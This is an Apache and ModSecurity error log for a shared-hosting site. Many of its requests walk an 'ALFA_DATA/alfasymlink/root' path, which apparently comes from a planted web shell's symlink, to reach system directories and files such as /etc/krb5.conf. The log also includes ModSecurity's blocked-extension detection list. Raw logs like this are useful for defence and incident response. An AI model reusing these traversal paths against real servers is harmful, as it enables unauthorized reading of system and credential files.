[Mon Oct 26 03:18:14.774246 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.210:19838] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/norwegian-ny/errmsg.sys"] [unique_id "at7-tjnj8sJWmxnIswzNcgAAAAQ"]
[Mon Oct 26 03:18:14.774664 2026] [security2:error] [pid 2990575:tid 2990575] [client 85.208.96.210:19838] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/norwegian-ny/errmsg.sys"] [unique_id "at7-tjnj8sJWmxnIswzNcgAAAAQ"]
[Mon Oct 26 03:18:16.693466 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 185.191.171.9:26608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/hwcache_align
[Mon Oct 26 03:18:18.764138 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.212.131.50:42351] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:23.472596 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 34.233.114.237:11650] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:23.472799 2026] [security2:error] [pid 2982126:tid 2982126] [client 34.233.114.237:11650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/firmware_node/sun"] [unique_id "at7-v2OlQEA7vTaN5Z-iPgAAABA"]
[Mon Oct 26 03:18:23.473118 2026] [security2:error] [pid 2982126:tid 2982126] [client 34.233.114.237:11650] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/firmware_node/sun"] [unique_id "at7-v2OlQEA7vTaN5Z-iPgAAABA"]
[Mon Oct 26 03:18:26.781329 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 54.86.59.155:48528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:34.797320 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.197.114.76:52740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:42.813511 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 54.197.178.107:15362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:18:50.836284 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 3.221.244.28:52730] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:02.851061 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 54.204.62.163:52598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:04.729947 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 85.208.96.201:12836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/min_partial
[Mon Oct 26 03:19:10.887129 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 52.54.15.103:53744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:19.321261 2026] [ssl:error] [pid 2984450:tid 2984450] (5)Input/output error: [client 50.16.216.166:9232] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:30.834068 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 35.173.38.202:38072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:42.970377 2026] [core:error] [pid 2982126:tid 2982126] (13)Permission denied: [client 52.0.218.219:37577] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:17/subsystem/drivers/thermal/uevent
[Mon Oct 26 03:19:47.127195 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 34.231.181.240:61488] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:51.210539 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 98.82.214.73:38654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:51.210742 2026] [security2:error] [pid 2984073:tid 2984073] [client 98.82.214.73:38654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory20/phys_device"] [unique_id "at7_F3Vm0c9vLAkU-I5Z1AAAAAE"]
[Mon Oct 26 03:19:51.210777 2026] [security2:error] [pid 2984073:tid 2984073] [client 98.82.214.73:38654] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory20/phys_device"] [unique_id "at7_F3Vm0c9vLAkU-I5Z1AAAAAE"]
[Mon Oct 26 03:19:55.081635 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 44.215.235.20:52702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:19:59.067498 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 44.210.204.255:22031] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:20:02.979785 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 34.225.87.80:61967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/shpchp/remove_id
[Mon Oct 26 03:20:06.871337 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 98.82.66.172:43858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/vmd/bind
[Mon Oct 26 03:20:10.947987 2026] [ssl:error] [pid 2984462:tid 2984462] (5)Input/output error: [client 54.156.124.2:45382] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:20:18.959992 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.221.180.179:26384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:20:22.987898 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 184.72.84.154:11885] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/node0/cpu1/crash_notes_size
[Mon Oct 26 03:20:31.105702 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 52.203.68.145:42461] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:20:44.236791 2026] [authz_core:error] [pid 2984174:tid 2984174] [client 185.191.236.38:23310] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 03:20:51.066576 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.54.249.218:56183] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:03.027350 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 44.215.61.66:57018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:07.162584 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 50.16.248.61:41723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/uevent
[Mon Oct 26 03:21:19.146289 2026] [security2:error] [pid 2978288:tid 2978288] [client 52.6.5.24:63622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/share/man/pt_BR/"] [unique_id "at7_b9me1KEgtmTVIXKfHwAAAAc"]
[Mon Oct 26 03:21:19.146339 2026] [security2:error] [pid 2978288:tid 2978288] [client 52.6.5.24:63622] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/usr/share/man/pt_BR/"] [unique_id "at7_b9me1KEgtmTVIXKfHwAAAAc"]
[Mon Oct 26 03:21:23.112948 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 18.205.213.231:14672] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:28.347022 2026] [security2:error] [pid 2978303:tid 2978303] [client 43.165.4.2:57750] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7_eJMnyYq70WIUET3s-QAAABc"], referer: http://sherwinpinturas.com
[Mon Oct 26 03:21:28.411535 2026] [authz_core:error] [pid 2978303:tid 2978303] [client 43.165.4.2:57750] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Mon Oct 26 03:21:31.016287 2026] [ssl:error] [pid 2984174:tid 2984174] (22)Invalid argument: [client 98.82.63.147:28553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:39.027892 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 35.169.102.85:55445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/driver/module/drivers/pci:virtio-pci/new_id
[Mon Oct 26 03:21:51.206174 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 52.1.157.90:25204] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:53.312263 2026] [proxy_fcgi:error] [pid 2988243:tid 2988243] [client 68.183.160.9:63473] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 03:21:55.125040 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 98.82.38.120:1260] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:21:55.543297 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 85.208.96.208:20828] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_node/ctor
[Mon Oct 26 03:22:02.129398 2026] [security2:error] [pid 2984261:tid 2984261] [client 107.172.76.131:51986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7_jS-E70pTpF9ObR-yEgAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 03:22:02.129451 2026] [security2:error] [pid 2984261:tid 2984261] [client 107.172.76.131:51986] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7_jS-E70pTpF9ObR-yEgAAAAg"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Mon Oct 26 03:22:03.235677 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 50.16.72.185:61873] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:22:07.287579 2026] [ssl:error] [pid 2991107:tid 2991107] (70014)End of file found: [client 54.84.250.51:49967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:22:11.895120 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 85.208.96.197:21856] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:22:31.274377 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.205.213.231:40070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:22:55.566680 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.213.46.222:65130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:03.334197 2026] [ssl:error] [pid 2988243:tid 2988243] (5)Input/output error: [client 52.2.83.227:32794] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:07.532584 2026] [core:error] [pid 2978303:tid 2978303] (13)Permission denied: [client 34.224.132.215:33200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/device/driver/unbind
[Mon Oct 26 03:23:12.715041 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 185.191.171.4:30402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sunrpc/sections/__bpf_raw_tp_map
[Mon Oct 26 03:23:15.563338 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 34.194.14.255:24255] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:19.678891 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 52.202.233.37:15083] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:27.798295 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 34.238.45.183:53464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:14/subsystem/devices/device:06/physical_node/driver/unbind
[Mon Oct 26 03:23:31.439723 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 54.197.114.76:30588] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:05.0/driver/bind
[Mon Oct 26 03:23:35.479533 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 34.231.156.59:48794] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:43.417060 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 44.218.6.93:59658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:47.547216 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 98.82.38.120:2789] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:23:51.617338 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 3.219.81.66:62745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:03.474501 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 3.225.9.97:22127] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:23.951779 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 100.28.118.16:62446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:27.897679 2026] [security2:error] [pid 2988243:tid 2988243] [client 43.154.140.188:56424] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_coahuila_1.html"] [unique_id "at8AK5TFFJ_fFCiEKI4hOQAAAAA"]
[Mon Oct 26 03:24:31.707654 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 44.208.223.68:54779] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:38.257302 2026] [security2:error] [pid 2984450:tid 2984450] [client 188.253.208.6:3858] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8ANsXfkN7WrB_bUyLhrgAAABs"]
[Mon Oct 26 03:24:38.257786 2026] [security2:error] [pid 2984450:tid 2984450] [client 188.253.208.6:3858] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8ANsXfkN7WrB_bUyLhrgAAABs"]
[Mon Oct 26 03:24:38.258138 2026] [security2:error] [pid 2984450:tid 2984450] [client 188.253.208.6:3858] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8ANsXfkN7WrB_bUyLhrgAAABs"]
[Mon Oct 26 03:24:40.012977 2026] [security2:error] [pid 2984452:tid 2984452] [client 23.136.68.196:37666] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8AOOns9GI20tQzjLT5VwAAAB0"]
[Mon Oct 26 03:24:40.013487 2026] [security2:error] [pid 2984452:tid 2984452] [client 23.136.68.196:37666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8AOOns9GI20tQzjLT5VwAAAB0"]
[Mon Oct 26 03:24:40.013836 2026] [security2:error] [pid 2984452:tid 2984452] [client 23.136.68.196:37666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/beta/bullet_bots.log"] [unique_id "at8AOOns9GI20tQzjLT5VwAAAB0"]
[Mon Oct 26 03:24:43.663874 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.87.62.248:50830] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:47.799298 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 23.23.213.182:62400] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:51.743282 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 34.234.197.175:23726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:24:55.165326 2026] [core:error] [pid 2978288:tid 2978288] (13)Permission denied: [client 185.191.171.17:10754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/cpu_partial
[Mon Oct 26 03:25:03.880998 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 98.82.66.172:42629] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:20.675955 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 54.91.122.193:33613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:24.720092 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.166.104.83:37226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:27.572482 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 54.235.172.96:45884] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:31.689307 2026] [core:error] [pid 2990575:tid 2990575] (13)Permission denied: [client 52.44.229.124:54492] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/firmware_node/subsystem/devices/device:09/subsystem/drivers_probe
[Mon Oct 26 03:25:40.008597 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 44.213.202.136:28476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:43.834989 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 18.214.251.19:51747] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:25:55.935215 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 3.235.215.92:16670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:07.687358 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 34.196.237.236:53887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:11.668037 2026] [core:error] [pid 2984073:tid 2984073] (13)Permission denied: [client 185.191.171.19:46338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/validate
[Mon Oct 26 03:26:12.540565 2026] [ssl:error] [pid 2990575:tid 2990575] (70014)End of file found: [client 54.225.199.17:33777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:15.328764 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 18.214.138.148:45670] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:19.713336 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 44.193.115.232:10996] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:26:20.867850 2026] [security2:error] [pid 2963542:tid 2963542] [client 85.208.96.203:60366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/krb5.conf"] [unique_id "at8AnN8riwHadHMxXEF1CwAAACU"]
[Mon Oct 26 03:26:20.868247 2026] [security2:error] [pid 2963542:tid 2963542] [client 85.208.96.203:60366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/krb5.conf"] [unique_id "at8AnN8riwHadHMxXEF1CwAAACU"]
